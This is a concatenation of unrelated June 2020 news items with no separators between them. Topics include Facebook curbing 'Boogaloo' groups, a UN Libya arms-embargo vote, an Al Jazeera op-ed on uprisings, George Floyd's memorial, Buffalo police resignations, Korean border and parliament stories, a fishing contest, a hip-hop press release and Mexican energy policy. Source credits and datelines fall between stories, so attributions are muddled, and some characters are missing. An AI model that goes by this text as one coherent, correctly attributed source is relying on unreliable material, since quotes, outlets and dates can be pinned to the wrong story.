Reuters reported that the company's decision comes after at least two men were charged on Wednesday, June 3, with plotting violence at a Las Vegas anti-racism protest. According to an FBI criminal complaint, these suspects participated in Boogaloo groups on Facebook.

Facebook limits 'Boogaloo' groups after plotting violence charges filed against two supporters

"Boogaloo" refers to a newcomer group that aims to accelerate the US towards a second civil war. Although it is hard to label, it exists largely on the far-right of the scale.

Its members are called "Boogaloo Boys" or "Boogaloo Bois" who is usually seen wearing tactical gear with assault rifles. Reports say they support protesters who face heavily armored police, but others seem to support "extremist ideology." The movement's name may have come from the 1980s film Breakin' 2: Electric Boogaloo.

Meanwhile, according to Aljazeera, "Electric Boogaloo" has been used to describe things of low quality, especially in social media, and it is not usually used in political or violent manner. However, for some far-right groups, it's a code word for a second civil war, an idea that started around October 2019.

The increasing popularity of Boogaloo

The Anti-Defamation League (ADL), a Jewish NGO based in the US that tracks the far-right, wrote in a report that various boogaloo-related phrases also emerged this year, including "showing up for the boogaloo," "being boogaloo ready," "when the boogaloo hits," and "bring on the boogaloo."

In April, the advocacy group Tech Transparency Project warned that Boogaloo followers were planning to take up arms while encouraging protests to release coronavirus restrictions.

The group tracked tech companies and found 125 Facebook "boogaloo"-related groups that had attracted thousands of members in the last 30 days. The coronavirus crisis was found as a driving factor for this surge of support.

"Some boogaloo supporters see the public health lockdowns and other directives by states and cities across the country as a violation of their rights, and they're aiming to harness public frustration at such measures to rally and attract new followers to their cause," Tech Transparency Project said in its report.

Also, armed protesters gave out fliers showing "Liberty or Boogaloo" at a protest in Concord, New Hampshire. Last month, Facebook banned the term Boogaloo and related words when used with pictures of weapons and calls to action like preparing for conflict.

However, the social media giant said on Thursday the terms are evolving to avoid scrutiny. Terms like "Big Igloo" or "Big Luau" popped up while keeping discussions about weaponry, future wars, and conspiracy theories.

Researchers also found out that many Boogaloo participants support white nationalist groups or militias while others are gun-rights advocates, anti-government, or just supporters of the Black Lives Matter protests against police brutality.

"Care must be taken when evaluating boogaloo-as-civil-war references," said the ADL adding that some people still use the phrase casually or to mock those who are fanatics of their movement.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Source: Xinhua| 2020-06-06 07:05:10|Editor: huaxia

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UNITED NATIONS, June 5 (Xinhua) -- The UN Security Council on Friday adopted a resolution to extend the measures designed to implement an arms embargo on Libya for a further 12 months from the date of the adoption of this resolution.

Resolution 2526, which was approved unanimously by the 15-member council, extends the authorizations for UN member states to inspect, on the high seas off the coast of Libya, vessels coming from or to the country if they have reasonable grounds to believe the vessels are carrying arms or related materials in violation of an arms embargo imposed by the Security Council.

Resolution 2526 also requests the UN secretary-general to report to the Security Council within 11 months of the adoption of the resolution on its implementation.

The Security Council imposed sanctions, including an arms embargo, on Libya in 2011 after the political turmoil that led to the toppling of former leader Muammar Gaddafi. In June 2016, the council adopted Resolution 2292 to authorize vessel inspections on the high seas to implement the arms embargo. The authorizations have been extended several times. Enditem
From the US to the Middle East, pauperised citizenries are rising up to remove the violent governments ruling over them.

The ongoing protests over the May 25 police killing of George Floyd and the United States political establishments heavy-handed response to them are seminal developments in modern American history.

They not only expose the deep-rooted racism of the American society but also provide yet another refutation to American exceptionalism  the widely-held belief that the US is fundamentally different from and superior to other nations.

This is because the events currently unfolding in the US mirror almost perfectly the core dynamics of the mass uprisings we regularly witness around the world that are triggered by the violent and oppressive policies of authoritarian or colonial regimes.

I personally experienced many such uprisings during my lifetime, in Israel-Palestine, several different Arab countries and also in the US.

I was a university student in the US in the late 1960s and early 1970s when widespread protests  then termed race riots  engulfed predominantly African American urban areas of the country. I also witnessed and engaged with the birth of the Black Lives Matter movement there in 2013.

What I observed in the last five decades as I lived through these citizen rebellions, and what I am feeling in my bones as I watch the widespread protests in the US today, is that they are all born out of identical political and human phenomena.

Three shared elements define all these uprisings across time and space: why protesters take to the streets, how the political ruling class reacts, and how the mainstream media covers what is happening.

Taking to the streets to demand dignity

First, a ravaged, poverty-stricken and helpless citizenry that has been mistreated for decades by its own ruling elite or by an occupying power finally takes to the streets to express its despair in the only manner available to it.

African Americans, Palestinians, and other Arab nationals have all suffered demeaning and sustained poverty, dilapidated socio-economic conditions, permanent political powerlessness and decades of unfulfilled promises of change.

The overriding motivation behind all the citizen rebellions that I have witnessed in my lifetime, from the repeated anti-racism protests in the US to the Arab uprisings of the past decade, has been the chronic humiliation of ordinary citizens at the hands of the ruling elites. The ruling classes slow but steady dehumanisation of the masses eventually broke through the surface and triggered public protests.

The single demand that captures the aspirations of Palestinians, Arabs, and African Americans is dignity  not wealth, not power, not revenge, but human dignity. This is because dignity is the only antidote for people who feel they are being treated like animals and can be shot and killed at will.

Not surprisingly, the most common spark that sets off mass protests across the world is the killing of civilians by government troops or the private militia and thugs of ruling elites.

Oppressive governments and colonial regimes are killing unarmed, helpless citizens with the very same sense of entitlement and impunity from Palestine and the US. Within the same week that the Minneapolis police killed George Floyd, for example, Israeli army troops in Jerusalem shot and killed Iyad Halak, a 32-year-old autistic Palestinian man who did not understand their orders.

Responding to protests against violence with more violence

Once masses take to the streets to protest against the senseless killing of their compatriots at the hands of state security forces, the governments often make a series of generic statements: We are investigating cases of security forces who killed unarmed civilians; People have the right to protest peacefully but not to use violence; and We will look into the wider grievances of citizens and make sure that unacceptable conditions are improved quickly.

Over the years, I listened to government officials, police commissioners and bureaucrats make these very same statements, albeit in different languages, from the US to Iraq, Lebanon, and Israel-Palestine.

The problem with these statements is that nobody believes them any more. Exasperated citizens see elites who make promises and offer thoughts and prayers as selfish liars and insincere brutes who will do and say anything to stay in power, especially to maintain the existing economic structures that enrich them and impoverish everyone else.

As these statements no longer succeed in sedating angry, frustrated masses that often do not have much left to lose, the governments simultaneously unleash more state violence to bring uprisings under control. Police forces and army troops beat, gas, forcefully detain and even kill protesters to subdue the masses.

This has been the case during the Arab uprisings and Palestinian intifadas, and it is the case now in the US.

Surprisingly, these elites ignore the long-term consequences of repeatedly beating down protesters and killing innocent civilians. Those consequences include repeated national uprisings and revolutions, some of which have removed Arab autocrats from power since 2011.

Media focus on the drama, ignore the deep-rooted grievances behind protests

The final common element that I found in all the citizen rebellions that I witnessed first-hand is the mainstream medias broad failure to probe deeply into the causes of the protesters discontent.

In Israel-Palestine, other Arab nations and the US, whenever the citizenry takes to the streets en masse, the media focuses primarily on the drama of crowds of protesters confronting the police. They provide detailed reports on property vandalism or attacks against security forces, but rarely take the time to humanise the protesters by reporting empathetically and accurately on the web of inhuman and discriminatory conditions that caused them to revolt.

The media widely fails to explore the structures of racism, colonialism, abuse of power and lack of equal rights in the US, Arab states and Israeli-occupied Palestine that trigger protests year after year, and decade after decade.

Towards a global intifada

As long as governments and occupying forces around the world continue to reach for their guns, tear gas canisters and batons to disperse protesters demanding dignity, equality and freedom from state violence, masses who have little left to lose will continue to rise against their oppressors.

In a globalised and deeply connected world, where mainstream media cannot continue to mask the interconnected and deep-rooted grievances of the subjugated and demeaned peoples, these citizen rebellions can soon pave the way for a global intifada.

Today, even the last remaining proponents of American exceptionalism are being forced to abandon their misguided beliefs, as the US acts exactly like other authoritarian and colonial powers and unleashes more violence upon protesters who only want freedom from state violence. As the state appears unable and unwilling to uproot the racist power structures that are preventing millions of Americans from living their lives with dignity, it is certain that African Americans and other mistreated citizens will continue their quest for social justice.

The Israeli occupation and continued annexation of Palestinian lands, now with the explicit approval of the US, clearly demonstrates that the colonial era in the Middle East is not yet over. So Palestinians will also continue to rebel and resist as they can.

In Arab countries, millions also continue to suffer as ruling elites pursue derelict policies that generate more poverty, inequality and desperation. This is why Arabs have been taking to the streets regularly for the last decade and this is why they will continue to do so in the coming years.

Across the globe, from the US to the Middle East, pauperised citizenries are rising up to reform or remove the militarised, racist and violent governments and regimes ruling over them. And they will continue their fight until they succeed.

The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance.
Police search the boat allegedly used by a group of Chinese who smuggled themselves into Korea, in the coastal city of Taean, South Chungcheong Province, May 25. Yonhap



Military radars, coastal CCTVs and other surveillance equipment captured a small rubber boat smuggling a group of Chinese into South Korea last month, but guards on duty failed to notice it until after the Chinese reached the shore and fled, officials said Friday.



On May 21, eight Chinese arrived in the western coastal city of Taean undetected on a 1.5-ton leisure rubber boat and then fled. The boat was found two days later after a report by civilians, according to the Coast Guard and the Joint Chiefs of Staff (JCS).



"Our probe found that the boat involved in the May case was captured by military radar six times, but soldiers in charge of the monitoring failed to detect the boat," a JCS officer told reporters.



Coastal CCTVs and thermal observation devices (TODs) also captured their arrival several times, but the troops simply thought it was an ordinary boat being used by civilians for leisure activities, he added.



A similar incident took place in April, but was belatedly known this week, where five Chinese crossed the Yellow Sea border from the easternmost Chinese province of Shandong on the same type of boat and arrived in Taean on April 19, they added. The boat was found Thursday.



Radars captured the boat three times, but guards failed to notice it, officials said.



The investigation also found that the recording function of the TODs did not work at that time and related CCTV footage has since all been deleted as it is only stored for up to 30 days, according to the officer.



"After wrapping up the investigations, the authorities will reprimand those responsible for the negligence, including a division commander," he said.



In order to prevent any recurrence, the military vowed to beef up their maritime surveillance posture by employing more equipment and strengthening education for troops.



"We are also considering deploying unarmed aerial vehicles, such as drones, to vulnerable areas to better detect illegal entry attempts," he added.



Earlier, the JCS said that chances seem low that those cases have something to do with espionage activities, though a probe is under way with all possibilities open to learn if there were any security lapses.



Of the eight Chinese who sneaked into South Korea in May, four have been arrested so far. Two of the five Chinese nationals who arrived here in April were caught earlier in the day, according to the Coast Guard. (Yonhap)


MINNEAPOLIS - One after another, the dignitaries filed past the casket of George Floyd, which shone gold under the lights of a darkened sanctuary in downtown Minneapolis.

Civil rights activists and senators. Congressional representatives and famous black actors. Local and state leaders, along with a well-known rapper.

A gospel choir sang softly nearby, their voices piped outside to the hundreds of people who had packed a nearby park to pay their respects.

All of them had come to take part in an emotional farewell for Floyd, the 46-year-old father whose killing in police custody set off a wave of national protests that has continued.

Thursday's somber service at North Central University stood in sharp relief to much of the week that had proceeded it, with massive demonstrations in dozens of cities, some of which were forcefully broken up by police launching tear gas, rubber bullets and pepper spray into crowds of peaceful protesters.

The memorial service was an opportunity to celebrate Floyd's life. But it was also a call for accountability - not only for Floyd's death, but for the nation's long-standing history of racial injustice and police brutality.

"It was not the coronavirus pandemic that killed George Floyd, I want to make it clear," family attorney Ben Crump told the crowd, referring to the fact that Floyd's autopsy report showed that he had recovered from a coronavirus infection last month. "It was that other pandemic that we're far too familiar with in America - that pandemic of racism and discrimination - that killed George Floyd."

The Rev. Al Sharpton, president of the civil rights organization National Action Network, said Floyd's death was emblematic of the oppression black Americans have faced since the nation's founding.

"George Floyd's story has been the story of black folks," Sharpton said. "Ever since 401 years ago, the reason we could never be who we wanted and dreamed to be, is you kept your knee on our neck."

"We were smarter than the underfunded schools you put us in, but you had your knee on our neck," he said. "We could run corporations and not hustle in the street, but you had your knee on our neck."

What happened to Floyd "happens every day in this country - in education, in health services and in every area of American life," Sharpton continued. "It's time for us to stand up in George's name and say, 'Get your knee off our necks.' "

Sharpton used the occasion to announce a planned march on Washington in late August, led by families of black people who have died because of police violence. The demonstration would come 57 years after the Rev. Martin Luther King Jr.'s "I Have a Dream" speech at the Lincoln Memorial.

Floyd's memorial service - the first of several that are scheduled, including upcoming gatherings in North Carolina and Texas - comes a day after authorities upgraded murder charges against the former Minneapolis police officer who pinned Floyd to the ground by his neck and charged three other former officers with aiding and abetting the killing. All four officers have been fired.

On Thursday, as mourners gathered to remember Floyd, Hennepin County District Judge Paul Scoggin set bail at $750,000 apiece with conditions, or $1,000,000 without, for former officers Thomas Lane, Tou Thao and Alexander Kueng. Conditions of their bail included signing an extradition waiver, as well as surrendering firearms and concealed carry permits.

Derek Chauvin, the officer who knelt on Floyd's neck for almost nine minutes, faces charges of second-degree murder, third-degree murder and second-degree manslaughter. Chauvin is scheduled to appear before a judge on Monday.

Hours before Floyd's memorial began on Thursday, a hearse carrying his body arrived at the university. Minneapolis Police Chief Medaria Arradondo knelt in a show of respect. Officials ordered the flag outside the combined city hall and county courthouse to be flown at half-staff.

Floyd's casket was brought into large sanctuary and positioned before a small stage. Above it, a screen showed an image of the large mural bearing Floyd's name and face.

Pieces of paper around the room marked where invitees would sit, each spaced in an attempt at social distancing. Among them were Democratic public officials including Minnesota Gov. Tim Walz and Sens. Amy Klobuchar and Tina Smith, along with actor and director Tyler Perry and actors Tiffany Haddish and Kevin Hart.

In the lobby, attendees were greeted by security guards and volunteers spaced several feet apart, as well as large containers of hand sanitizer.

The Rev. Jesse Jackson was among those who arrived early to pay his respects at Floyd's casket. As the civil rights leader took his seat, an aide stuffed a face mask into Jackson's front pocket. Klobuchar, wearing a blue bandanna over her face, stood at Floyd's casket, her head bowed.

Minneapolis Mayor Jacob Frey, a Democrat, knelt at the casket for several minutes. His body shook, and he appeared to be crying.

There were smiles and tears as the mourners remembered the man whose death has fueled a national outcry for change.

He grew up as part of a large family in Houston's Third Ward, raised by a single mother in a home that was short on money but "full of love," his younger brother Rodney Floyd said. The kids made banana and mayonnaise sandwiches and handwashed their socks and underwear in the kitchen sink, he recalled.

Those closest to Floyd called him "Perry," his middle name, and recalled a kind, gregarious soul who brought home kids from school who had nowhere else to go. Sometimes there were 30 or 40 kids in the house, his brother, Philonise Floyd, tearfully recalled.

"He touched so many people's hearts," he said.

A cousin, Shareeduh Tate, recalled Floyd's hugs. He was a "gentle giant," she said, "and when he would wrap his arms around you, you just felt like everything would just go away, any problems, any concerns."

His nephew, George Floyd, who was named after his uncle, recalled how much he loved the NBA player LeBron James. He recalled the phone ringing instantly after the Cleveland Cavaliers finally defeated the Golden State Warriors to win the championship in 2016.

It was his uncle, shouting in excitement.

"I feel like I won the championship," Floyd told him, his nephew recalled.

Outside the sanctuary and across Minneapolis, others stopped to listen, mourn and bid Floyd farewell.

"We're hoping this will be the catalyst that things begin to change," said Tracy Wesley, funeral director of Estes Funeral Chapel, who had joined the throng that gathered outside Floyd's memorial service. Welsey said he has planned funeral ceremonies for 35 years, too many of them for black men gone too soon.

Albert Ettinga, an immigrant from Cameroon, brought his entire family from Forest Lake, a suburb about 20 minutes from the Twin Cities. He said Floyd's plea - "I can't breathe" - has kept him up at night.

"I don't understand why this happened behind my backyard," Ettinga said. "I ask myself, what part of my color or what part of my body that some people don't like?"

As an immigrant, he said he is used to America shaping the narrative of what the world should look like. He hopes to see this moment can inspire an end to the mistreatment of black people in the world.

"I believe that history has begun in Minneapolis - the world is listening," he said, his 18-year-old daughter and 14-year-old son nearby. "I have kids that were born in this country, I have to really start fighting for them, and hopefully they can rewrite history themselves."

Several blocks away, in the Fades of Gray barbershop, 49-year-old Bennie Henderson watched the service on a nearby television as he got a haircut, marveling at the ripple effects Floyd's death has had on his city and on the country.

"The turnout has been something that's just, beyond my scope, beyond what I could have imagined," said Henderson, who is black. "None of this had to happen."

Toward the end of the service Thursday, Sharpton called on those in attendance to stand in silence for eight minutes and 46 seconds - the length of time Chauvin had kept his knee on Floyd's neck.

As the minutes passed, some in the room began to sob. One man, his voice muffled by a face mask, called out, "I can't breathe!" Most stood solemnly with their heads bowed, the same way thousands of others had done in observing the same silence Thursday in New York, Washington and elsewhere.

"They had enough time," Sharpton said of the police officers as the time concluded. Enough time to make different choices, he meant.

"Now," he said, "what are we going to do with our time?"

People put their fists in the air and watched quietly as Floyd's casket, blanketed in roses, rolled away in a hearse.

- - -

The Washington Post's Robert Klemko, Tarkor Zehn, Hannah Knowles, Marissa Iati and Ben Guarino contributed to this report.
An elderly man appears to be shoved by riot police in Buffalo during a protest against the death in Minneapolis police custody of George Floyd

Reuters

Local TV news reporter Dave Greber tweeted that 57 Buffalo police officers have resigned to show support for two fellow officers who were suspended for their actions at a George Floyd protest.

A graphic trending video captured by the NPR affiliate WBFO shows two police officers shoving a 75-year-old protester in Buffalo, New York, to the ground.

At first, a Buffalo Police Department representative said in a statement that a person was "injured when he tripped and fell."

The officers have since been suspended without pay.

Visit Insider's homepage for more stories.

A team of 57 Buffalo police officers resigned en masse on Friday to show support for two colleagues who were suspended without pay following their aggressive behavior at a George Floyd protest.

A graphic trending video captured Thursday by the NPR affiliate WBFO shows two police officers shoving a 75-year-old protester to the ground and walking away. The two officers were suspended without pay.

The video also shows the officers' colleagues walking past the protester, who doesn't get up, as blood pours from his ears and onto the sidewalk.

The Buffalo Police Benevolent Association told the Investigative Post that dozens of their colleagues were so unhappy with the suspensions that they resigned from their posts.

"Fifty-seven resigned in disgust because of the treatment of two of their members, who were simply executing orders," said John Evans, the union's president, told the news outlet.

While the 57 officers resigned from the unit, they remain members of the police force, according to Spectrum News.

The video showing 75-year-old Martin Gugino being pushed to the ground is one of many documented incidents of police aggression during the national George Floyd protests.

In the video, the man can be seen approaching a group of officers in riot gear.

Story continues

As the man approaches, two officers can be seen pushing the man backward. One officer is seen using his baton to force the man backward, while another officer can be seen shoving the man's chest.

An initial statement from a Buffalo Police Department representative said that five people were arrested after the day's protests in Niagara Square. The police said that during a "skirmish" with other protesters, a person was "injured when he tripped and fell."

Buffalo Mayor Byron Brown told Spectrum News that "contingency plans are in place to maintain police services and ensure public safety within our community" despite the mass resignation.

Neither the Buffalo Police Department nor the Buffalo Police Benevolent Association immediately responded to Insider's requests for comment.

New York Attorney General Letitia James issued a statement Friday about the disturbing video, in which she noted that the protester was seriously injured.

"The video captured on June 4th shows what appears to be a horrific display of abuse and lack of concern for New Yorkers by the Buffalo Police Department," she said in the written statement. "My office supports the investigation by the Erie County District Attorney's Office, and we stand by ready to assist should they need it."

Read the original article on Insider
Donald Trump debuted a new 2020 campaign message on Thursday, accusing "socialists" in the Democratic Party of trying to strip funding from police departments and pulling Joe Biden far to the left.

The president, who now trails the former vice president in key battleground states and is in a dead heat in some long-red states, appeared eager to grab the support of law enforcement groups who have expressed concern that Mr Biden earlier this week embraced police reform after George Floyd's killing while in police custody.

"The Radical Left Democrats new theme is 'Defund the Police'. Remember that when you don't want Crime, especially against you and your family. This is where Sleepy Joe is being dragged by the socialists," the president tweeted. "I am the complete opposite, more money for Law Enforcement! #LAWANDORDER".

That came two days after the presumptive Democratic presidential nominee vowed, if elected, to establish during his first 100 days "a national police oversight commission."

"I've long believed we need real community policing. And we need each and every police department in the country to undertake a comprehensive review of their hiring, their training, and their de-escalation practices," Mr Biden said in a speech that slammed Mr Trump for his brash Monday night tactics against protesters in Washington, DC.

"And the federal government should give them the tools and resources they need to implement reforms," Mr Biden added. "Most cops meet the highest standards of their profession. All the more reason that bad cops should be dealt with severely and swiftly. We all need to take a hard look at the culture that allows for these senseless tragedies to keep happening."

The former vice president and longtime Delaware senator has long boasted about his support of police organisations and unions. But that might be fraying after his Tuesday speech, and law enforcement personnel might be one of the few voting blocs Mr Trump could use to expand his conservative base.

"Clearly, he's made a lot of changes the way candidates do during the primary process, but he kept moving left and fell off the deep end," said Bill Johnson, executive director of the National Association of Police Organizations, the umbrella organisation for Police Benevolent Association chapters, according to Politico.

"For Joe Biden, police are shaking their heads because he used to be a stand-up guy who backed law enforcement," Mr Johnson said. "But it seems in his old age, for whatever reason, he's writing a sad final chapter when it comes to supporting law enforcement."
Prime fishing is available year-round in the Alabama Black Belt, and those who are wetting lines this summer are encouraged to enter their catch into the Alabama Black Belt Adventures Association 2020 Best Fish Photo Contest for a chance to reel in the main prize.

Whether its a lunker bass, a river cat, a mess of crappie or a feisty bream, all fish are welcome in this photo contest as we look to showcase the public and private opportunities available in the Black Belt region of Alabama.

The contest, which opened Saturday and runs to Aug. 15, is eligible only for fish caught in the Black Belt during 2020.

To enter their catch and to vote for their favorite fish participants should visit https://alabamablackbeltadventures.org/bestblackbeltfishcontest/.

Fishing is the perfect cure for cabin fever and provides miles of wide-open spaces to enjoy a day in the sun and cool breezes. With the incredible public fishing opportunities, as well as numerous private lakes available in the Black Belt, we encourage everyone to hit the water this summer for top-notch fun and excitement, said ALBBAA director Pam Swanner.
Desde la comunidad nativa El Pilar, el presidente @MartinVizcarraC , junto a los ministros Fabiola Munoz, Sylvia Caceres y Alejandro Neyra, se reune con los representantes de la Federacion Nativa del Rio Madre de Dios y Afluentes. pic.twitter.com/Bh2ux3RGLr

En esta visita se hizo entrega de alimentos de @MidisQaliWarma, mascarillas y gel para la comunidad. Ademas, se converso con el presidente de la comunidad para establecer planes y acciones frente a la emergencia sanitaria en beneficio de los pueblos indigenas en la region. pic.twitter.com/2Ss7Fwztbm
"How You Comin" Past News Releases RSS

Swervnation debut album "Born Broke" already is receiving streams in many of the top U.S. cities and International. Producer Dreadrock helps bring out the original hip hop vibe, paying homage to the many of the major artist styles with its sing-along lyrics and references to the Hip Hop generation.

Swervnation is a record label based on Chicago westside created by its very artist Dreadrock that decided to launch it on April 22, 2019, to support his dream and to help artist like himself to have a voice and an outlet through a musical career. Tamille Baker, who currently holds an MBA and a Master's in Education, has joined in partnership with Swervnation, as she has vocalized her support for social projects in Chicago and believes in the cause of this new company.

It makes sense to release Born Broke 2 with producer Dreadrock aka James Samuels being from Chicago, in the midst of pandemic and worry around us, we need a fresh voice, and a new swerv to some positive changes. The album has features that keeps your head rocking.

Few albums (or groups) have been met with such a warm reception internationally. After dropping two projects and 5 music videos and several concert venues the first year, Dreadrock is ready to take Swerving to a new level.

Swervnation: https://swervnation.com/

Dreadrock: https://dreadrock.swervnation.com/ ;

Shop: https://shop.swervnation.com/
Lawmakers of the main opposition United Future Party walk out of the opening plenary session of the 21st National Assembly, Friday. Korea Times photo by Oh Dae-geun



Main opposition party lawmakers walk out to protest ruling party's 'unilateral' decision to hold opening session



By Jung Da-min



The 21st National Assembly held its opening session, Friday, but it was crippled only 11 minutes later as members of the main opposition United Future Party (UFP) left the plenary chamber to protest the ruling Democratic Party of Korea's (DPK) push to hold the session despite its opposition following conflicts over how to form standing committees.



Although the 21st Assembly "succeeded" in holding the opening session on the date designated by the National Assembly Act, the first time in 16 years since the 17th Assembly, the rupture showed a bumpy road ahead for the rival parties in cooperation to make decisions for the next four years.



Floor leaders of the UFP and the DPK had held talks until the last moment, with the latter persuading the former to participate, without compromise. When the session started at 10 a.m., UFP members attended  not because they accepted it as a legitimate session but to deliver their message of protest.



"There has been no agreement between the parties over how to form the standing committees yet, which means the parties were not able to hold the opening session; therefore, today's session is illegitimate," UFP floor leader Rep. Joo Ho-young said after getting the right to speak.



"The UFP lawmakers came here to make this point clear and protest the opening of the session."



He said the DPK, which holds 177 seats in the 300-strong Assembly, should not have pushed ahead with its session opening or other issues by taking advantage of its majority.



"Such a push is also against the DPK's request for us to cooperate to deal with state affairs in the difficult situation (amid the coronavirus pandemic)," Joo said. "If problems take place in the future regarding the Assembly's operation, the DPK, which held this unacceptable session today, will be to blame."



Then the lawmakers  103 from the UFP and four independent lawmakers who had left the party to run in the general election after failing to get the party's nomination  left the plenary chamber just 11 minutes after the session started.



The remaining 193 lawmakers, including 177 from the ruling party and 14 from other minor parties and two independent lawmakers, conducted votes to elect six-term DPK lawmaker Rep. Park Byeong-seug as speaker and four-term DPK lawmaker Rep. Kim Sang-hee as one of two deputy speakers allocated for the ruling bloc, to serve the first half of the 21st Assembly.



The remaining deputy speaker post allocated for the main opposition has been reserved for the UFP's Rep. Chung Jin-suk, but the vote for Chung was not held during the session due to the UFP boycott.



On Tuesday, the DPK joined other minor opposition parties, including the Justice Party and the Open Minjoo Party, to open the session by submitting a request to convene an extraordinary session to the National Assembly Secretariat's office. It cited a clause in the National Assembly Act that says the opening session should be held on the seventh day after the new Assembly's start. The 21st Assembly began on May 30.



The designated date of the opening session had not been met for many of the previous assemblies in recent decades, due to prolonged negotiations between the parties over how to form the standing committees. The problem is that each party wants to take the head positions of key committees for legislative activities for major policies, such as the Legislation and Judiciary Committee and the Special Committee on Budget and Accounts.



While the UFP says it should take the two committees' chief positions because it has long been customary for the opposition bloc to take it to hold the ruling bloc in check, the DPK says it does not need to follow the custom because the situation is different with the ruling party holding an absolute majority in the new Assembly.



"The DPK will not be looking to left and right but make a next step forward," DPK floor leader Rep. Kim Tae-nyeon said during a press conference after the opening session. "We are going to form the standing committees by the designated date by the National Assembly Act."



Under the Act, the 21st National Assembly should complete the process of dividing 300 lawmakers into the 18 committees and selecting heads of each committee by June 8.



"If the main opposition does not observe the act just as with the bad practices in the past, we cannot but push forward the formation of the committees by the rules," Kim said, referring to the act, which gives the speaker the power to appoint heads of committees.




The crisis caused by the coronavirus pandemic has allowed Mexicos President Andres Manuel Lopez Obrador to expand his executive authority and focus it on further eroding the reforms aimed at opening energy markets to competition and foreign investment.

Lopez Obrador, who largely opposed the reforms championed by his predecessor and adopted by voters as a constitutional amendment, has moved recently to shore up and expand the monopoly positions of Mexicos state-owned oil and power companies. Less than month ago, for example, his administration adopted new rules that make it difficult, if not impossible, for private generators to compete with the state-owned utility Federal Electricity Commission, or CFE, claiming the changes were needed to ensure the reliability of the power system during the health crisis.

A crisis like a pandemic tempts leaders around the world to show an authoritarian face, said Jose Maria Lujambio, a Mexican energy law attorney and former senior counsel at Mexicos Energy Regulatory Commission. That is what has happened in Mexico, at least in the energy sector.

The posture of the Lopez Obrador administration should dash any remaining hopes of U.S. and Texas companies that once saw great opportunity after the government of Enrique Pena Nieto in 2014 opened Mexicoss huge energy market to foreign investment and competition, aiming to revive oil and gas production and end fuel and power shortages.

LATE START: Mexicos slow response to coronavirus had implications for Texas

Since Lopez Obrador took office at the end of 2018, his administration has canceled offshore lease auctions that were attracting international oil companies and power auctions luring foreign investment in renewable energy. His government also has canceled bidding for high-voltage transmission lines that would carry the power, and largely dismantled independent regulators set up to oversee the wholesale power market.

The COVID-19 has provided justification for Lopez Obrador to accelerate his efforts to restore control of energy to CFE and Petroleos Mexicanos, or Pemex, the state-owned oil company  a policy that was a key promise in his 2018 presidential campaign. Control of energy resources is a potent issue in Mexico, where the 1938 nationalization of the oil industry is celebrated almost as a second independence day.

Money pit

For Lopez Obrador, who has long viewed oil as the key to Mexicos development, the need to rebuild the economy after the coronavirus outbreak has provided the rationale for ratcheting up oil production despite low oil prices that are adding to the losses of the companys money-losing operations. So far this year, Pemex has produced oil at a loss of about $10 billion.

The administration is also plodding ahead on a new, $8 billion refinery at the Port of Dos Bocas in southern Mexico, even though gasoline demand is at an all-time low and Pemex doesnt have the money to make sorely needed upgrades for its six existing refineries. These aging plants function at about 30 percent of their production capacity because of accident-caused outages and maintenance issues.

Lopez Obrador has justified these policies as critical to achieve energy independence  especially from its northern neighbor.

We dont want to be a colony of any foreign country, Lopez Obrador said at the groundbreaking for the Dos Bocas refinery in 2019. We will achieve this with energy independence.

ROLLBACK: Despite reforms, AMLO seeks to restore Pemex to dominant role

Lopez Obradors insistence that bolstering state monopolies would achieve this goal flies in the face of 2014 reforms that sought to revive a long-declining energy industry by introducing competition and attracting oreign companies that could provide investment, technology and know-how to help modernize the sector.

Political observers say the efforts to bolster Pemex and CFE are aimed at Mexicos congressional elections in 2021, even as the state-owned companies suck up money that could help workers who lost jobs during the pandemic. The unions of both Pemex and CFE are large, powerful and the base of Lopez Obradors support.

The timing is the key driver for the government, said Rosanety Barrios, a former senior official in the Energy Ministry in the previous Pena Nieto administration, speaking at an energy panel at a virtual conference sponsored by the Institute of the Americas in La Jolla, Calif. This government is doing everything to gain time and to focus on the 2021 election.

Junk bonds

Concerns about Pemexs $100 billion-and-growing debt led the rating agency Moodys Investors to downgrade Pemex credit to junk bond status in late April. Moodys, while acknowledging the impact of the coronavirus on petroleum demand, said the downgrade was largely triggered by concerns that Lopez Obradors political goals, rather than sound economic reasons, were driving business decisions.

We just had too many questions about its ability to adjust production in a climate where the prices are so low, said Nymia Almeida, lead Pemex analyst for Moodys Ratings, in a call discussing the ratings change.

More dramatic developments have occurred in the electricity sector. A new rule, introduced on May 15, would no longer require electricity to be dispatched from the lowest-cost generation first, as established by law under the previous administration.

Giving priority to the lowest-cost power was critical in attracting renewable energy companies to Mexico, and a key reason for the more than $6 billion invested in the sector in the last five years.

Lopez Obradors government has portrayed the rule changes as necessary to ensure the reliability of the power grid during the pandemic, but critics says its aimed at propping up CFE. The change would allow grid dispatchers to select power from CFEs plants that is far more expensive than that generated by wind and solar projects, according to Mexicos Business Coordinating Council, a trade group of small- and medium-sized businesses.

On HoustonChronicle.com: Wind developers, once keen on Mexico, losing heart as energy reforms stall

Another rule has complicated the permitting process, making it much more difficult for renewable projects to come online.

This is a death blow to private sector investment in Mexico, beyond the existing commitments, said Mannti Cummins, a Texas wind power developer with projects in Mexico. Their actions are entirely illegal and follow no process in ramming this reform through. It was a political blitzkrieg under the guise of a pandemic.

No place to sell

The changes in the power market also appear aimed at helping Pemex get rid of excess fuel oil according to Moodys. Pemexs market for fuel oil has dried up with new maritime rules that require ships to burn low-sulfur fuel, leaving the company with a glut of fuel oil from its aging refineries, which do not have the technology to produce the low-sulfur fuels.

Several generators are challenging the new rules, and a federal court last Friday temporarily blocked the new rules from going into effect. But the administration is asking the court to let the changes go forward.

Even if the rules are overturned, experts say, the administrations actions create a chilling effect on investment in Mexicos energy sector.

What I think they are trying to do is do everything in their power to strengthen the CFE, said Andrea Calo, the director of Market Intelligence-Mexico at Customized Energy Solutions, which follows regulatory developments in Mexico. They are obstructing interconnection and permits for renewables, and the ability of the private companies to compete.

FUEL FIX: Get energy news sent directly to your inbox

Pemex is getting similar help, but its future does not seem brighter, analysts said. Like most oil companies, its losses are only expected to widen in the second quarter, in large part because of the collapse of demand and prices resulting from the coronavirus pandemic.

Fallen angel

Analysts said they expect the pandemic to serve as an excuse for a company sorely in need of an overhaul. The company needs to jettison its refining business, focus on producing oil, adopt an independent board and renegotiate labor contracts  changes unlikely to occur under Lopez Obrador, analysts said.

It is startling to see Pemex become a fallen angel, said Pablo Zarate, an energy policy expert at the Washington consulting firm FTI Consulting, speaking at the Institute of the Americas conference. The tools were there to avoid this.

emilysusanpickrell@gmail.com
